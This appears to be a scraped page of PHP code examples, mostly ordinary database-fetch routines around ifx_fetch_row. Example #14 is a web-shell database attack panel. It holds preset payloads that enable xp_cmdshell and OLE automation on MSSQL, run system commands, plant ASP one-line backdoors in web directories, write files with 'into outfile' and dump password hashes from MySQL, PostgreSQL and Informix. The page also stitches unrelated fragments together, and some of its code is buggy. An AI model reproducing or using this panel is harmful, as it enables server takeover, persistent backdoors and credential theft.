                 vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
                 return false;
             }
             while ($r = ifx_fetch_row($result, 'NEXT')) {
                 $loop_arr[] = $r;
             }
             break;
         case 'INTERBASE':
             if (get_resource_type($result) != 'interbase result') {
                 vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
                 return false;
             }
             while ($r = ibase_fetch_row($result)) {
                 $loop_arr[] = $r;
             }
             break;
         case 'INGRES':
             if (!$result) {
                 vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
                 return false;
             }
             while ($r = ingres_fetch_array(INGRES_ASSOC, $result)) {
                 $loop_arr[] = $r;
             }
             break;
         case 'MSSQL':
             if (get_resource_type($result) != 'mssql result') {
                 vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
                 return false;
             }
             while ($r = mssql_fetch_array($result)) {
                 $loop_arr[] = $r;
             }
             break;
         case 'MSQL':
             if (get_resource_type($result) != 'msql result') {
                 vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
                 return false;
             }
             while ($r = msql_fetch_array($result, MSQL_ASSOC)) {
                 $loop_arr[] = $r;
             }
             break;
         case 'OCI8':
             if (get_resource_type($result) != 'oci8 statement') {
                 vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
                 return false;
             }
             while (OCIFetchInto($result, $r, OCI_ASSOC + OCI_RETURN_LOBS)) {
                 $loop_arr[] = $r;
             }
             break;
         case 'ORACLE':
             if (get_resource_type($result) != 'oracle Cursor') {
                 vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
                 return false;
             }
             while (ora_fetch_into($result, $r, ORA_FETCHINTO_ASSOC)) {
                 $loop_arr[] = $r;
             }
             break;
         case 'OVRIMOS':
             if (!$result) {
                 vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
                 return false;
             }
             while (ovrimos_fetch_into($result, $r, 'NEXT')) {
                 $loop_arr[] = $r;
             }
             break;
         case 'SYBASE':
             if (get_resource_type($result) != 'sybase-db result') {
                 vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
                 return false;
             }
             while ($r = sybase_fetch_array($result)) {
                 $loop_arr[] = $r;
             }
             break;
     }
     $this->setLoop($loopname, $loop_arr);
     return true;
 }
Пример #12
0
 function db_fetch($oStmt)
 {
     return @ifx_fetch_row($oStmt);
 }
Пример #13
0
 /**	
  * Get the name of the specified field in a result
  * @param Mixed qHanle		The query handle
  * @param Number offset
  * @return String
  */
 public function field_name($qHanle, $offset)
 {
     $count = 1;
     foreach (ifx_fetch_row($qHanle) as $fname => $val) {
         if ($count == $offset) {
             return $fname;
         }
         $count += $count;
         // ?
     }
     return "";
 }
Пример #14
0
function otherdb()
{
    $db = isset($_GET['db']) ? $_GET['db'] : '';
    print <<<END
<form method="POST" name="dbform" id="dbform" action="?s=w&db={$db}" enctype="multipart/form-data">
<div class="actall"><a href="?s=w"> &nbsp psotgresql &nbsp</a> 
<a href="?s=w&db=ms"> &nbsp mssql &nbsp</a> 
<a href="?s=w&db=ora"> &nbsp oracle &nbsp</a>
<a href="?s=w&db=ifx"> &nbsp informix &nbsp</a>
<a href="?s=w&db=fb"> &nbsp  firebird &nbsp</a>
<a href="?s=w&db=db2">&nbsp db2 &nbsp</a></div></form>
END;
    if ($db == "ms") {
        $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost';
        $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******';
        $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '******';
        $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master';
        $msaction = isset($_POST['action']) ? $_POST['action'] : '';
        $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : '';
        $msquery = stripslashes($msquery);
        print <<<END
<form method="POST" name="msform" action="?s=w&db=ms">
<div class="actall">Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px">
User:<input type="text" name="msuser" value="{$msuser}" style="width:100px">
Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px">
Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br><br>
<script language="javascript">
function msFull(i){
\tStr = new Array(11);
        Str[0] = "";
\tStr[1] = "select @@version;";
        Str[2] = "select name from sysdatabases;";
        Str[3] = "select name from sysobject where type='U';";
        Str[4] = "select name from syscolumns where id=Object_Id('table_name');";
        Str[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');";
\tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');";
\tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
        Str[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
        Str[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
        Str[10] = "Exec master.dbo.xp_cmdshell 'net user';";
        Str[11] = "Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';";
\tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' ";
        msform.mssql.value = Str[i];
\treturn true;
}
</script>
<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br>
<select onchange="return msFull(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
        <option value="1">version</option>
        <option value="2">databases</option>
        <option value="3">tables</option>
        <option value="4">columns</option>
        <option value="5">add sp_oacreate</option>
\t<option value="6">add xp_cmdshell</option>
\t<option value="7">add xp_cmdshell(2005)</option>
        <option value="8">add sp_oacreate(2005)</option>
        <option value="9">open openrowset(2005)</option>
        <option value="10">xp_cmdshell exec</option>
        <option value="10">sp_oamethod exec</option>
        <option value="11">sp_makewebtask</option>
</select>
<input type="hidden" name="action" value="msquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($msaction == 'msquery') {
            $msconn = mssql_connect($mshost, $msuser, $mspass);
            mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message());
            $msresult = mssql_query($msquery) or die(mssql_get_last_message());
            echo '<font face="verdana">';
            echo '<table border="1" cellpadding="1" cellspacing="2">';
            echo "\n<tr>\n";
            for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                echo '<td bgcolor="#228B22"><b>' . mssql_field_name($msresult, $i);
                echo "</b></td>\n";
            }
            echo "</tr>\n";
            mssql_data_seek($result, 0);
            while ($msrow = mssql_fetch_row($msresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                    echo '<td bgcolor="#B8B8E8">';
                    echo "{$msrow[$i]}";
                    echo '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table>\n";
            echo "</font>";
            mssql_free_result($msresult);
            mssql_close();
        }
    } elseif ($db == "ora") {
        $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost';
        $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521';
        $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******';
        $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******';
        $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL';
        $oraaction = isset($_POST['action']) ? $_POST['action'] : '';
        $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : '';
        $oraquery = stripslashes($oraquery);
        print <<<END
<form method="POST" name="oraform" action="?s=w&db=ora">
<div class="actall">Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px">
Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px">
User:<input type="text" name="orauser" value="{$orauser}" style="width:80px">
Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px">
SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br><br>
<script language="javascript">
function oraFull(i){
\tStr = new Array(8);
        Str[0] = ""; 
\tStr[1] = "select version();";
        Str[2] = "show databases;";
        Str[3] = "show tables from db_name;";
        Str[4] = "show columns from table_name;";
        Str[5] = "select user,password from mysql.user;";
\tStr[6] = "select load_file(0xxxxxxxxxxxxxxxxxxxxx);";
\tStr[7] = "select 0xxxxx from mysql.user into outfile 'c:\\\\inetpub\\\\wwwroot\\\\test.php'";
\toraform.orasql.value = Str[i];
\treturn true;
}
</script>
<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br>
<select onchange="return oraFull(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
        <option value="1">version</option>
        <option value="2">databases</option>
        <option value="3">tables</option>
        <option value="4">columns</option>
        <option value="5">hashes</option>
\t<option value="6">load_file</option>
\t<option value="7">into outfile</option>
</select>
<input type="hidden" name="action" value="myquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($oraaction == 'oraquery') {
            $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror());
            $oraresult = ociparse($oralink, $oraquery) or die(ocierror());
            $orarow = oci_fetch_row($oraresult);
            echo '<font face="verdana">';
            echo '<table border="1" cellpadding="1" cellspacing="2">';
            echo "\n<tr>\n";
            for ($i = 0; $i < oci_num_fields($oraresult); $i++) {
                echo '<td bgcolor="#228B22"><b>' . oci_field_name($oraresult, $i);
                echo "</b></td>\n";
            }
            echo "</tr>\n";
            ociresult($oraresult, 0);
            while ($orarow = ora_fetch_row($oraresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ora_num_fields($result); $i++) {
                    echo '<td bgcolor="#B8B8E8">';
                    echo "{$orarow[$i]}";
                    echo '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table>\n";
            echo "</font>";
            oci_free_statement($oraresult);
            ocilogoff();
        }
    } elseif ($db == "ifx") {
        $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******';
        $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******';
        $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb';
        $ifxaction = isset($_POST['action']) ? $_POST['action'] : '';
        $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : '';
        $ifxquery = stripslashes($ifxquery);
        print <<<END
<form method="POST" name="ifxform" action="?s=w&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br><br>
<script language="javascript">
function ifxFull(i){
\tStr = new Array(11);
        Str[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
        Str[2] = "select name from sysdatabases;";
        Str[3] = "select tabname from systables;";
        Str[4] = "select colname from syscolumns where tabid=n;";
        Str[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
        <option value="1">dbservername</option>
        <option value="1">databases</option>
        <option value="2">tables</option>
        <option value="3">columns</option>
        <option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($ifxaction == 'ifxquery') {
            $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
            $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
            $ifxrow = ifx_fetch_row($ifxresult);
            echo '<font face="verdana">';
            echo '<table border="1" cellpadding="1" cellspacing="2">';
            echo "\n<tr>\n";
            for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                echo '<td bgcolor="#228B22"><b>' . ifx_fieldproperties($ifxresult);
                echo "</b></td>\n";
            }
            echo "</tr>\n";
            mysql_data_seek($ifxresult, 0);
            while ($ifxrow = ifx_fetch_row($ifxresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                    echo '<td bgcolor="#B8B8E8">';
                    echo "{$ifxrow[$i]}";
                    echo '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table>\n";
            echo "</font>";
            ifx_free_result($ifxresult);
            ifx_close();
        }
    } elseif ($db == "db2") {
        $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
        $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
        $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******';
        $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******';
        $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
        $db2action = isset($_POST['action']) ? $_POST['action'] : '';
        $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
        $db2query = stripslashes($db2query);
        print <<<END
<form method="POST" name="db2form" action="?s=w&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br><br>
<script language="javascript">
function db2Full(i){
\tStr = new Array(4);
        Str[0] = "";
\tStr[1] = "select schemaname from syscat.schemata;";
        Str[2] = "select name from sysibm.systables;";
        Str[3] = "select colname from syscat.columns where tabname='table_name';";
        Str[4] = "db2 get db cfg for db_name;";
\tdb2form.db2sql.value = Str[i];
\treturn true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
        <option value="1">databases</option>
        <option value="1">tables</option>
        <option value="2">columns</option>
        <option value="3">db config</option>
</select>
<input type="hidden" name="action" value="db2query">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($myaction == 'db2query') {
            //$db2string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$db2dbname;"."HOSTNAME=$db2host;PORT=$db2port;PROTOCOL=TCPIP;UID=$db2user;PWD=$db2pass;";
            $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
            $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg());
            $db2row = db2_fetch_row($db2result);
            echo '<font face="verdana">';
            echo '<table border="1" cellpadding="1" cellspacing="2">';
            echo "\n<tr>\n";
            for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                echo '<td bgcolor="#228B22"><b>' . db2_field_name($db2result);
                echo "</b></td>\n";
            }
            echo "</tr>\n";
            while ($db2row = db2_fetch_row($db2result)) {
                echo "<tr>\n";
                for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                    echo '<td bgcolor="#B8B8E8">';
                    echo "{$db2row[$i]}";
                    echo '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table>\n";
            echo "</font>";
            db2_free_result($db2result);
            db2_close();
        }
    } elseif ($db == "fb") {
        $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
        $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
        $fbpath = str_replace("\\\\", "\\", $fbpath);
        $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******';
        $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******';
        $fbaction = isset($_POST['action']) ? $_POST['action'] : '';
        $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
        $fbquery = stripslashes($fbquery);
        print <<<END
<form method="POST" name="fbform" action="?s=w&db=fb">
<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
<script language="javascript">
function fbFull(i){
\tStr = new Array(5);
        Str[0] = "";
\tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
        Str[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
        Str[3] = "input 'D:\\createtable.sql';";
        Str[4] = "shell netstat -an;";
\tfbform.fbsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
<select onchange="return fbFull(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
        <option value="1">tables</option>
        <option value="2">columns</option>
        <option value="3">import sql</option>
        <option value="4">shell</option>
</select>
<input type="hidden" name="action" value="fbquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($fbaction == 'fbquery') {
            $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg());
            $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg());
            echo '<font face="verdana">';
            echo '<table border="1" cellpadding="1" cellspacing="2">';
            echo "\n<tr>\n";
            for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
                echo '<td bgcolor="#228B22"><b>' . ibase_field_info($fbresult, $i);
                echo "</b></td>\n";
            }
            echo "</tr>\n";
            ibase_field_info($fbresult, 0);
            while ($fbrow = ibase_fetch_row($fbresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
                    echo '<td bgcolor="#B8B8E8">';
                    echo "{$fbrow[$i]}";
                    echo '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table>\n";
            echo "</font>";
            ibase_free_result($fbresult);
            ibase_close();
        }
    } else {
        $pghost = isset($_POST['pghost']) ? $_POST['pghost'] : 'localhost';
        $pguser = isset($_POST['pguser']) ? $_POST['pguser'] : '******';
        $pgpass = isset($_POST['pgpass']) ? $_POST['pgpass'] : '';
        $pgdbname = isset($_POST['pgdbname']) ? $_POST['pgdbname'] : 'postgres';
        $pgaction = isset($_POST['action']) ? $_POST['action'] : '';
        $pgquery = isset($_POST['pgsql']) ? $_POST['pgsql'] : '';
        $pgquery = stripslashes($pgquery);
        print <<<END
<form method="POST" name="pgform" action="?s=w">
<div class="actall">Host:<input type="text" name="pghost" value="{$pghost}" style="width:100px;">
User:<input type="text" name="pguser" vaule="{$pguser}" style="width:100px">
Pass:<input tyoe="text" name="pgpass" value="{$pgpass}" style="width:100px">
Dbname:<input type="text" name="pgdbname" value="{$pgdbname}" style="width:100px"><br><br>
<script language="javascript">
function pgFull(i){
\tStr = new Array(7);
\tStr[0] = "";
        Str[1] = "select version();";
        Str[2] = "select datname from pg_database;";
        Str[3] = "select relname from pg_stat_user_tables limit 1 offset n;";
        Str[4] = "select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;";
        Str[5] = "select usename,passwd from pg_shadow;";
\tStr[6] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));";
\tpgform.pgsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="pgsql" style="width:600px;height:200px;">{$pgquery}</textarea><br>
<select onchange="return pgFull(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
        <option value="1">version</option>
        <option value="2">databases</option>
        <option value="3">tables</option>
        <option value="4">columns</option>
        <option value="5">hashes</option>
\t<option value="6">pg_hb.conf</option>
</select>
<input type="hidden" name="action" value="pgquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($pgaction == 'pgquery') {
            $pgconn = pg_connect("host={$pghost} dbname={$pgdbname} user={$pguser} password={$pgpass} ") or die('Could not connect: ' . pg_last_error());
            $pgresult = pg_query($pgquery) or die('Query failed: ' . pg_last_error());
            $pgrow = pg_fetch_row($pgresult);
            echo '<font face="verdana">';
            echo '<table border="1" cellpadding="1" cellspacing="2">';
            echo "\n<tr>\n";
            for ($i = 0; $i < pg_num_fields($pgresult); $i++) {
                echo '<td bgcolor="#228B22"><b>' . pg_field_name($pgresult, $i);
                echo "</b></td>\n";
            }
            echo "</tr>\n";
            pg_result_seek($pgresult, 0);
            while ($pgrow = pg_fetch_row($pgresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < pg_num_fields($pgresult); $i++) {
                    echo '<td bgcolor="#B8B8E8">';
                    echo "{$pgrow[$i]}";
                    echo '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table>\n";
            echo "</font>";
            pg_free_result($pgresult);
            pg_close();
        }
    }
}
Пример #15
0
 function _fetch($ignore_fields = false)
 {
     $this->fields = ifx_fetch_row($this->_queryID);
     #$this->fields = ifx_fetch_row($this->_queryID);
     return $this->fields == true;
 }